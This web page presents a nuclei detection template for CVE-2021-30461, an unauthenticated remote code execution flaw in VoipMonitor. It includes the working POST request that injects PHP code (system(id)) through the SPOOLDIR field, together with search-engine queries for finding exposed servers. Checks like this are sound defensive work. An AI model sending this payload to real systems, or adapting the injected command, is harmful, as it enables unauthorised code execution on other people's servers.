VoipMonitor <24.61 - Remote Code Execution

criticalseverity

9.8CVSS score

39.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing remote unauthenticated users to trigger a remote PHP code execution vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade VoipMonitor to version 24.61 or later to mitigate this vulnerability.

How to confirm it

Send: POST /index.php
Positive when: contains "uid=" and "gid=" and "groups=" and "VoIPmonitor installation" AND status 200

Run it with nuclei: nuclei -id CVE-2021-30461 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-30461

info:
  name: VoipMonitor <24.61 - Remote Code Execution
  author: shifacyclewala,hackergautam
  severity: critical
  description: |
    VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing  remote unauthenticated users to trigger a remote PHP code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade VoipMonitor to version 24.61 or later to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30461
    - https://ssd-disclosure.com/ssd-advisory--voipmonitor-unauth-rce
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/openx-org/BLEN
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30461
    cwe-id: CWE-94
    epss-score: 0.39113
    epss-percentile: 0.98608
    cpe: cpe:2.3:a:voipmonitor:voipmonitor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: voipmonitor
    product: voipmonitor
    shodan-query:
      - http.title:"VoIPmonitor"
      - http.title:"voipmonitor"
    fofa-query: title="voipmonitor"
    google-query: intitle:"voipmonitor"
  tags: cve2021,cve,rce,voipmonitor,vkev,vuln

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded

        SPOOLDIR=test".system(id)."&recheck=Recheck

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "VoIPmonitor installation"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from